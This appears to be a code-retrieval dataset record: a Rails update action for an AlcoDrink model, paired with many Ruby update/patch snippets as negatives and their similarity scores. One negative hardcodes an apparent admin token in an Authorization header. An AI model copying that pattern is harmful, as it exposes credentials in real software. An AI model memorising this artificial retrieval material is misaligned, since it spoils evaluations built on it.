def update respond_to do |format| if @alco_drink.update(alco_drink_params) format.html { redirect_to @alco_drink, notice: 'Alco drink was successfully updated.' } format.json { render :show, status: :ok, location: @alco_drink } else format.html { render :edit } format.json { render json: @alco_drink.errors, status: :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def update\n @bubble_tea = BubbleTea.find(params[:id])\n\n if @bubble_tea.update(bubble_tea_params)\n render json: @bubble_tea\n else\n render plain: \"Failed to update drink information\"\n end\n end", "def api_patch(path, data = {})\n api_request(:patch, path, :data => data)\n end", "def update(url, data)\n RestClient.put url, data, :content_type => :json\nend", "def update\n respond_to do |format|\n if @drink.update(drink_params)\n format.html { redirect_to edit_drink_path(@drink), notice: 'Drycken uppdaterades.' }\n format.json { render :show, status: :ok, location: @drink }\n else\n format.html { render :edit }\n format.json { render json: @drink.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @order.status == \"preparing\"\n format.json { render text: '', status: 409 }\n else\n if @order.update(order_params)\n @drink = Drink.where(drink: @order.drink).first\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n response_json = {drink: @drink.drink, cost: @drink.cost, additions: @order.additions, _links: { next: {profile: \"http://#{my_address}:3000/payment\", href: \"http://#{my_address}:3000/payments/order/#{@order.id}\", enctype: 'application/json'}}}\n format.json { render text: response_json, status: :created, location: @order }\n \n else\n format.html { render action: 'edit' }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end\n end", "def update\n ingredient.update(ingredient_params)\n render json: ingredient\n end", "def patch\n headers = {\"If-Match\" => @version}\n response = @context.request :patch, \"#{@path}/#{@id}\", @data.to_json, headers\n @version += 1\n response\n # 'X-HTTP-Method-Override' => 'PATCH'\n end", "def update(id, attributes)\n # attributes = {name: 'chocolate and peanuts', calories: 10}\nend", "def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @drink.update(drink_params)\n format.html { redirect_to @drink, notice: 'Drink was successfully updated.' }\n format.json { render :show, status: :ok, location: @drink }\n else\n format.html { render :edit }\n format.json { render json: @drink.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @data = @recipe.update(params[:id], recipe_params)\n render json: @data\n end", "def update\n recipe.update(recipe_params)\n render json: recipe\n end", "def update!(params)\n res = @client.put(path, nil, params, \"Content-Type\" => \"application/json\")\n @attributes = res.json if res.status == 201\n res\n end", "def update(attrs, path=nil)\n resp = api_client.put(path || url, JSON.dump(attrs))\n refresh(JSON.load(resp.body))\n end", "def update\n respond_to do |format|\n if @fooddrink.update(fooddrink_params)\n format.html { redirect_to @fooddrink, notice: 'Food/Drink was successfully updated.' }\n format.json { render :show, status: :ok, location: @fooddrink }\n else\n format.html { render :edit }\n format.json { render json: @fooddrink.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "def patch(path, data)\n request 'PATCH', path, body: data.to_json\n end", "def patch(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_patch(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update\n @meal = @meal_recipe.meal\n @meal_plan = @meal.day.meal_plan\n @leftover = Leftover.meal_recipe(@meal_recipe).first\n @meal_ingredient = MealIngredient.new\n\n respond_to do |format|\n if params[:meal_recipe][:multiply].present?\n multiply_portions_and_ingredients(params[:meal_recipe][:multiply].to_d)\n end\n\n if params[:meal_recipe][:add].present?\n # @meal_recipe = MealRecipe.find(params[:id])\n @portions = @meal_recipe.portions\n ratio_increase = 1 + 1/@portions\n multiply_portions_and_ingredients(ratio_increase)\n end\n\n \n if @meal_recipe.update(meal_recipe_params)\n format.turbo_stream\n format.html { redirect_to @meal_recipe, notice: \"Meal recipe was successfully updated.\" }\n format.json { render :show, status: :ok, location: @meal_recipe }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @meal_recipe.errors, status: :unprocessable_entity }\n end\n \n end\n end", "def update\n # { clinic: {id: references, \"license_id\"=>nil, \"name\"=>string } }\n \n if @clinic.update_attributes(params[:clinic].except(:api_license_id))\n head :no_content\n else\n render json: clinic.errors.full_messages, status: :unprocessable_entity\n end\n end", "def patch!\n request! :patch\n end", "def update_tenant_circle(args = {}) \n put(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def update # PATCH\n raise NotImplementedError\n end", "def jsonapi_update!(attributes)\n assign_jsonapi_attributes(attributes)\n save!\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n @recipe.allergies.destroy_all\n params[:recipe][:allergy].each do |key,value|\n if value[\"name\"] == \"1\"\n allergy = Allergy.find(key)\n @recipe.allergies << allergy\n end\n end\n\n if params[:recipe][:concentrate] == '1' || params[:recipe][:recipe_category_id] == RecipeCategory.find_by(name: \"Concentrates\").id\n @recipe.concentrate = true\n else\n @recipe.concentrate = false\n end\n\n respond_to do |format|\n if @recipe.update(recipe_params)\n @allergies = Allergy.all\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipe }\n else\n @allergies = Allergy.all\n format.html { render :edit }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n puts \"update #{@need.as_json} #{updated_params.as_json}\"\n respond_to do |format|\n if @need.update(updated_params)\n puts \"brucep update success\"\n format.html { redirect_to new_need_path }\n format.json { render :show, status: :ok, location: @need }\n else\n format.html { render :edit }\n format.json { render json: @need.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n require 'rest-client'\n response = RestClient.put('localhost:3001/colores/'+@color.id.to_s, color_params.as_json, {:Authorization => 'admin irizREhyoG6Ejwr4AcjsQME9'})\n if response.code == 200\n @color = JSON.parse(response.body)\n\n format.html { redirect_to @color, notice: \"Color was successfully updated.\" }\n format.json { render :show, status: :ok, location: @color }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @color.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "def update options={}\n client.put(\"/#{id}\", options)\n end", "def test_update\n #Again the delete feature from ActiveResource does not work out of the box.\n #Using custom delete function\n puts \"--create a new account--\"\n new_acct = Salesforce::Rest::Account.new(:Name => \"test numero uno\", :BillingStreet=> \"Fairway Meadows\",\n :BillingState => \"NY\", :ShippingCity => \"New York\")\n resp = new_acct.save()\n\n assert (resp.code == 201)\n j = ActiveSupport::JSON\n @sf_oid = j.decode(resp.body)[\"id\"]\n puts \"New Object created: id -> \" + @sf_oid\n\n puts \"--update that new account--\"\n serialized_json = '{\"BillingState\":\"WA\"}'\n #http = Net::HTTP.new(@rest_svr_url, 443)\n http = Net::HTTP.new('na7.salesforce.com', 443)\n http.use_ssl = true\n \n class_name = \"Account\"\n path = \"/services/data/v21.0/sobjects/#{class_name}/#{@sf_oid}\"\n headers = {\n 'Authorization' => \"OAuth \"+ @oauth_token,\n \"content-Type\" => 'application/json',\n }\n code = serialized_json\n\n \n req = Net::HTTPGenericRequest.new(\"PATCH\", true, true, path, headers)\n\n resp = http.request(req, code) { |response| }\n assert !resp.nil?\n\n puts resp.to_s\n end", "def update\n req = ActiveSupport::JSON.decode(request.body)\n @bookmark = Bookmark.find(req)\n\n respond_to do |format|\n if @bookmark.update_attributes(params[:id])\n format.html { redirect_to @bookmark, notice: 'Bookmark was successfully updated.' }\n format.json { render json: @bookmark, status: :created, location: @bookmarks }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bookmark.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n json_response(@food_item.update!(food_item_params))\n end", "def update\n respond_to do |format|\n save_relations\n if @ingredient.update(ingredient_params)\n format.html { redirect_to @ingredient.recipe, notice: 'Ingredient was successfully updated.' }\n format.json { render :show, status: :ok, location: @ingredient }\n else\n format.html { render :edit }\n format.json { render json: @ingredient.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(url, payload, headers={})\n RestClient.patch url, payload, headers\n end", "def update!(sobject, attrs)\n id = attrs.has_key?(:Id) ? attrs.delete(:Id) : attrs.delete('Id')\n raise 'Id field missing.' unless id\n api_patch \"sobjects/#{sobject}/#{id}\", attrs\n true\n end", "def update\n @meal = Meal.find(params[:id])\n\n respond_to do |format|\n if @meal.update_attributes(params[:meal])\n format.html { redirect_to @meal, notice: 'Meal was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meal.errors, status: :unprocessable_entity }\n end\n end\n end", "def set_alco_drink\n @alco_drink = AlcoDrink.find(params[:id])\n end", "def update\n if @diet.update(diet_params)\n head :no_content, status: 204\n else\n render json: @diet.errors, status: 422\n end\n end", "def update\n dream = Dream.find params[:id]\n dream.update dream_params\n render json: {dream: dream}\n end", "def update\n @beverage = Beverage.find(params[:id])\n @beverage.ingredients.clear\n params[:ingredient].each{|ingr|\n @beverage.ingredients << Ingredient.find_by_name(ingr)\n } unless params[:ingredient].blank?\n\n respond_to do |format|\n if @beverage.update_attributes(params[:beverage])\n format.html { redirect_to @beverage, notice: 'Beverage was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @beverage.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to foods_path(), notice: 'Food was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "def test_update_object_by_id\r\n\t VCR.use_cassette('edit_object') do\r\n\t\t cred=JSON.parse(YAML::load_file('test/fixtures/credential.yml').to_json)\r\n\t\t json = JSON.parse(File.read(\"test/fixtures/edit_specimen.json\"))\r\n\t\t id = json[\"id\"]\r\n\t\t json[\"id\"] = \"\" #id cannot be updated\r\n\t\t result=CordraRestClient::DigitalObject.update(API_URL, id, json, cred[\"uc_1\"])\r\n\r\n\t\t #check that the result is saved\r\n\t\t assert_equal 200, result[:code]\r\n\t\t assert_equal \"OK\", result[\"message\"]\r\n\t\tend\r\n\t end", "def update\n @drink = Drink.find(params[:id])\n if @drink.update_attributes(allowed_params)\n redirect_to drinks_path\n else\n render 'new'\n end\n end", "def update\n @food = Food.find(params[:id])\n\n respond_to do |format|\n if @food.update_attributes(params[:food])\n format.html { redirect_to @food, notice: \"Piatto aggiornato correttamente.\" }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n animal = Animal.find(params[:id])\n\n if validate_params(animal_params)\n animal.update(animal_params)\n render json: animal, status: 200, location: [:api, animal]\n else\n render json: { errors: animal.errors }, status: 422\n end\n end", "def update\n @bruschettum = Bruschettum.find(params[:id])\n @bruschettum.ingredients.clear\n params[:ingredient].each{|ingr|\n @bruschettum.ingredients << Ingredient.find_by_name(ingr)\n }\n\n respond_to do |format|\n if @bruschettum.update_attributes(params[:bruschettum])\n format.html { redirect_to @bruschettum, notice: 'Bruschettum was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @bruschettum.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @food_item_add_on.update(food_item_add_on_params)\n format.html { redirect_to @food_item_add_on, notice: 'Food item add on was successfully updated.' }\n format.json { render :show, status: :ok, location: @food_item_add_on }\n else\n format.html { render :edit }\n format.json { render json: @food_item_add_on.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(attributes: {})\n attributes = attributes.with_indifferent_access\n clean_attributes(attributes)\n titleize(attributes)\n sync_tags(attributes)\n parse_ingredients(attributes)\n recipe.update(attributes)\n recipe_response\n rescue StandardError => e\n error_response(e)\n end", "def update\n respond_to do |format|\n if @recipe.update(recipe_params)\n params[:recipe][:ingredients].each do |ingredient_id|\n next if ingredient_id.to_i == 0\n ingredient = Ingredient.find(ingredient_id.to_i)\n @recipe.ingredients << ingredient\n end\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @cocoon_example.update(cocoon_example_params)\n format.html { redirect_to @cocoon_example, notice: 'Cocoon example was successfully updated.' }\n format.json { render :show, status: :ok, location: @cocoon_example }\n else\n format.html { render :edit }\n format.json { render json: @cocoon_example.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @fridge = Fridge.find(params[:id])\n\n respond_to do |format|\n if @fridge.update_attributes(params[:fridge])\n format.html { redirect_to @fridge, notice: 'Fridge was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fridge.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @todo = Todo.find(params[:id])\n @todo.update_attributes(params[:todo])\n render :json => @todo\n end", "def update\n @includes_drink = IncludesDrink.find(params[:id])\n\n respond_to do |format|\n if @includes_drink.update_attributes(params[:includes_drink])\n format.html { redirect_to @includes_drink, notice: 'Includes drink was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @includes_drink.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @recipes_food.update(recipes_food_params)\n format.html { redirect_to @recipes_food, notice: 'Recipes food was successfully updated.' }\n format.json { render :show, status: :ok, location: @recipes_food }\n else\n format.html { render :edit }\n format.json { render json: @recipes_food.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @item.update(item_params)\n render status: 201, :json => @item, :include =>[{:location =>{:except=>[:id, :created_at, :updated_at]}}, {:food =>{:except =>[:id, :created_at, :updated_at]}}], :except => [:created_at, :updated_at, :food_id, :location_id]\n else\n render status: 404, json: { message: @item.errors}.to_json\n end\n\n \n end", "def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end", "def update\n respond_to do |format|\n if @duck.update_attributes(params[:duck])\n format.html { redirect_to @duck, notice: 'Duck was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @duck.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @ally.update(ally_params)\n format.html { redirect_to allies_url, notice: 'Ally was successfully updated.' }\n format.json { render :show, status: :ok, location: @ally }\n else\n format.html { render :edit }\n format.json { render json: @ally.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(data, options={})\n @hal_client.patch(href, data, options).tap do\n reset\n end\n end", "def update_radios_for_array(args = {}) \n id = args['id']\n temp_path = \"/radios.json/{arrayId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"radioId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update\n\n respond_to do |format|\n if @meal.update(meal_params)\n format.html { redirect_to @meal, notice: 'Meal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @meal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(data = :object || :json)\n end", "def update\n @bowl = Bowl.find(params[:id])\n\n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n format.html { redirect_to(@bowl, :notice => 'Bowl was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @agency = Agency.find(params[:id])\n\n if @agency.update(agency_params)\n #head :no_content\n render json: @agency, status: :accepted, location: @agency #sera? status accepted? \n else\n render json: @agency.errors, status: :unprocessable_entity\n end\n end", "def update\n @belief = Belief.find(params[:id])\n\n respond_to do |format|\n if @belief.update_attributes(params[:belief])\n format.html { redirect_to @belief, :notice => 'Belief was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @belief.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @food.update(food_params)\n respond_with @food, location: -> { kitchen_board_path }\n end", "def update\n \n\n @client.redirect_urls << client_params[:add_redirect_url] if client_params[:add_redirect_url]\n \n @client.app_ids << BSON::ObjectId.new.to_s if client_params[:add_app_id]\n \n \n @client.versioned_update({\"redirect_urls\" => 1, \"app_ids\" => 1})\n\n if @client.op_success?\n render \"show\"\n else\n render \"edit\"\n end\n \n end", "def update\n @recipe_ingredient = Recipe_ingredient.find(params[:id])\n\n respond_to do |format|\n if @recipe_ingredient.update_attributes(params[:recipe_ingredient])\n format.html { redirect_to @recipe_ingredient, notice: 'Recipe_ingredient was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recipe_ingredient.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @food_recipe = FoodRecipe.find(params[:id])\n\n respond_to do |format|\n if @food_recipe.update_attributes(params[:food_recipe])\n format.html { redirect_to @food_recipe, notice: 'Food recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @food_recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @meal_food.update(meal_food_params)\n format.html { redirect_to @meal_food, notice: 'Meal food was successfully updated.' }\n format.json { render :show, status: :ok, location: @meal_food }\n else\n format.html { render :edit }\n format.json { render json: @meal_food.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @adocao_animal = AdocaoAnimal.find(params[:id])\n\n respond_to do |format|\n if @adocao_animal.update_attributes(params[:adocao_animal])\n format.html { redirect_to @adocao_animal, notice: 'Adocao animal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @adocao_animal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n json_update(category,category_params, Category)\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def patch options\n rest_request({ method: :patch }.merge(options))\n end", "def update\n render json: Alien.update(params[\"id\"], params[\"alien\"])\n end", "def update\n @cool = Cool.find(params[:id])\n\n respond_to do |format|\n if @cool.update_attributes(params[:cool])\n format.html { redirect_to @cool, notice: 'Cool was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cool.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n begin\n recipe = Recipe.find(params[:id])\n\n if recipe.update_attributes(recipe_params)\n render json: { status: 'SUCCESS', message: 'Recipe updated!', data: recipe }, status: :ok\n else\n render json: { status: 'ERROR', message: 'Error updating recipe', data: recipe.errors }, status: :unprocessable_entity\n end\n rescue\n render json: { status: 'ERROR', message: 'Error finding recipe', data: {} }, status: :not_found\n end\n end", "def update\n official = Official.find(params[:id])\n if official.update(official_params)\n render json: official, status: 200, location: [:api, official]\n else\n failed_to_update(official, \"official\")\n end\n end", "def update\n respond_to do |format|\n if @alley.update_attributes(params[:alley])\n format.html { redirect_to @alley, notice: 'Bahn erfolgreich geändert.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n end\n end\n end", "def update\n @go_slim = GoSlim.find(params[:id])\n\n respond_to do |format|\n if @go_slim.update_attributes(params[:go_slim])\n format.html { redirect_to @go_slim, notice: 'Go slim was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @go_slim.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @diet.nil?\n send_error_json(nil, \"Param 'diet' missing\", 400)\n return\n end\n\n if !check_owner()\n send_error_json(@diet.id, 'Unauthorized', 403)\n return\n end\n\n fav = true\n if params['diet'].nil? || params['diet']['favourite'].nil? || params['diet']['favourite']=='false'\n fav = false\n end\n update_hash = {:favourite => fav}\n if params['diet'] && params['diet']['amount']\n update_hash[:amount] = params['diet']['amount'].to_f\n end\n if params['diet'] && params['diet']['food_type_name']\n ft = FoodType.where(name: params['diet']['food_type_name']).first\n if !ft.nil?\n amount = @diet.amount\n if !update_hash[:amount].nil?\n amount = update_hash[:amount].to_f\n end\n update_hash[:food_type_id] = ft.id\n update_hash[:name] = ft.name\n # update_hash[:calories] = amount*ft.kcal\n # update_hash[:carbs] = amount*ft.carb\n # update_hash[:fat] = amount*ft.fat\n # update_hash[:prot] = amount*ft.prot\n else\n send_error_json(@diet.id, \"Invalid food type\", 400)\n return\n end\n\n end\n\n if @diet.update_attributes(update_hash)\n send_success_json(@diet.id, { diet_name: @diet.diet_name})\n else\n send_error_json(@diet.id, @diet.errors.full_messages.to_sentence, 400)\n end\n\n end", "def update\n respond_to do |format|\n if @coat.update(coat_params)\n format.html { redirect_to @coat, notice: 'Coat was successfully updated.' }\n format.json { render :show, status: :ok, location: @coat }\n else\n format.html { render :edit }\n format.json { render json: @coat.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n authorize @ingredient.recipe\n respond_to do |format|\n if @ingredient.update(ingredient_params)\n format.html { redirect_to @ingredient}\n format.json { render :show, status: :ok, location: @ingredient }\n else\n format.html { render :edit }\n format.json { render json: @ingredient.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @drip = Drip.find(params[:id])\n\n respond_to do |format|\n if @drip.update_attributes(params[:drip])\n format.html { redirect_to @drip, notice: 'Drip was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @drip.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @apologetic.update(apologetic_params)\n format.html { redirect_to @apologetic, notice: 'Apologetic was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @apologetic.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @pizza.update(pizza_params)\n ActionCable.server.broadcast 'pizzas', {}\n render json: @pizza\n else\n render json: @pizza.errors, status: :unprocessable_entity\n end\n end", "def update\n id = shift_argument\n validate_arguments!\n dataclip_reference = options[:dataclip]\n uri = URI(\"#{base_url}/#{id}\")\n req = Net::HTTP::Patch.new(uri.path)\n body = prepare_body(dataclip_reference)\n execute_and_print(uri, req, body)\n end", "def update\n respond_to do |format|\n if @l_ink.update(l_ink_params)\n format.html { redirect_to @l_ink, notice: 'L ink was successfully updated.' }\n format.json { render :show, status: :ok, location: @l_ink }\n else\n format.html { render :edit }\n format.json { render json: @l_ink.errors, status: :unprocessable_entity }\n end\n end\n end", "def patch(attrs = nil)\n attrs ||= attributes.changed_attributes\n execute_request do\n faraday_connection.patch { |req| req.body = adapter.serialize(attrs) }\n end\n end", "def update\n @candy = Candy.find(params[:id])\n\n respond_to do |format|\n if @candy.update_attributes(params[:candy])\n format.html { redirect_to @candy, :notice => 'Candy was successfully updated.' }\n format.json { render :json => @candy, :status => :updated, :candy => @candy }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @candy.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update attrs\n put '', :body => {self.class.api_name => self.class.opts_to_query_opts(attrs)}\n end", "def update\n respond_to do |format|\n if @aoo_ref.update(aoo_ref_params)\n format.html { redirect_to @aoo_ref, notice: 'Aoo ref was successfully updated.' }\n format.json { render :show, status: :ok, location: @aoo_ref }\n else\n format.html { render :edit }\n format.json { render json: @aoo_ref.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @dis_ingredient.update(dis_ingredient_params)\n format.html { redirect_to @dis_ingredient, notice: 'Dis ingredient was successfully updated.' }\n format.json { render :show, status: :ok, location: @dis_ingredient }\n else\n format.html { render :edit }\n format.json { render json: @dis_ingredient.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n params[:recipe][:ingredient_ids] ||= []\n @recipe = Recipe.find(params[:id])\n\n respond_to do |format|\n if @recipe.update_attributes(params[:recipe])\n format.html { redirect_to @recipe, notice: 'Recipe was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recipe.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @bowler.update(bowler_params)\n respond_with(@bowler)\n end", "def update\n @analyst = Analyst.find(params[:id])\n\n if @analyst.update(params[:analyst])\n head :no_content\n else\n render json: @analyst.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @appeal.update_attributes(params[:appeal])\n format.html { redirect_to [@conference, @appeal], notice: 'Appeal was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @appeal.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if @boat.update(boat_params)\n head :no_content\n else\n render json: @boat.errors, status: :unprocessable_entity\n end\n end", "def update\n begin\n balloon = Balloon.find(params[:id])\n rescue ActiveRecord::RecordNotFound => e\n balloon = nil\n end\n \n if balloon != nil && balloon.update_attributes(balloon_params) \n render json: {status: 'SUCCESS', message:'Updated balloon', data:balloon},status: :ok\n else\n render json: {status: 'ERROR', message:'Balloon not updated', data:\"balloon.error - balloon id doesnt exist\"},status: :unprocessable_entity\n end\n end" ]
[ "0.6167763", "0.6046127", "0.6044238", "0.5989092", "0.5945421", "0.5919465", "0.59105194", "0.59084517", "0.5903114", "0.590088", "0.5900537", "0.5887939", "0.5875218", "0.5873801", "0.5873735", "0.5869736", "0.58584195", "0.58469945", "0.58451927", "0.5841187", "0.58302134", "0.58043385", "0.5796467", "0.5781221", "0.57248074", "0.5716892", "0.5715195", "0.57122386", "0.5697907", "0.5679715", "0.56780964", "0.56733996", "0.5667272", "0.56656957", "0.56616443", "0.5642626", "0.5629686", "0.5620348", "0.56062967", "0.5605099", "0.5601842", "0.5598046", "0.5596545", "0.55927944", "0.5588252", "0.5580762", "0.5577444", "0.5577206", "0.5573773", "0.5564507", "0.5563026", "0.555902", "0.555637", "0.5548882", "0.5548717", "0.55485207", "0.55464685", "0.5537645", "0.55375075", "0.5533037", "0.5532797", "0.55288297", "0.55280775", "0.5526068", "0.5525269", "0.5524851", "0.55246586", "0.5520222", "0.55194634", "0.5519438", "0.5518583", "0.551779", "0.55173534", "0.5514253", "0.5514253", "0.55126894", "0.55124015", "0.55000645", "0.5498942", "0.54982346", "0.549712", "0.54956293", "0.5494472", "0.54928327", "0.5486495", "0.5485591", "0.5485106", "0.5483033", "0.54779786", "0.5477846", "0.5474663", "0.54734486", "0.5472891", "0.5466694", "0.5466555", "0.5466075", "0.5465255", "0.545836", "0.5456598", "0.5454849" ]
0.6719919
0
DELETE /alco_drinks/1 DELETE /alco_drinks/1.json
def destroy @alco_drink.destroy respond_to do |format| format.html { redirect_to alco_drinks_url, notice: 'Alco drink was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def delete\n client.delete(\"/#{id}\")\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def deleteFlatpackLink( flatpack_id, gen_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/flatpack/link\",params)\n end", "def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end", "def deleteFlatpack( flatpack_id)\n params = Hash.new\n params['flatpack_id'] = flatpack_id\n return doCurl(\"delete\",\"/flatpack\",params)\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def delete(id)\n request(:delete, \"/recipes/#{id}.json\")\n end", "def destroy\r\n $drink.destroy\r\n respond_to do |format|\r\n format.html { redirect_to ashop_admenu_drinks_url, notice: 'Menu was successfully destroyed.' }\r\n format.json { head :no_content }\r\n end\r\n end", "def delete()\n @api.do_request(\"DELETE\", 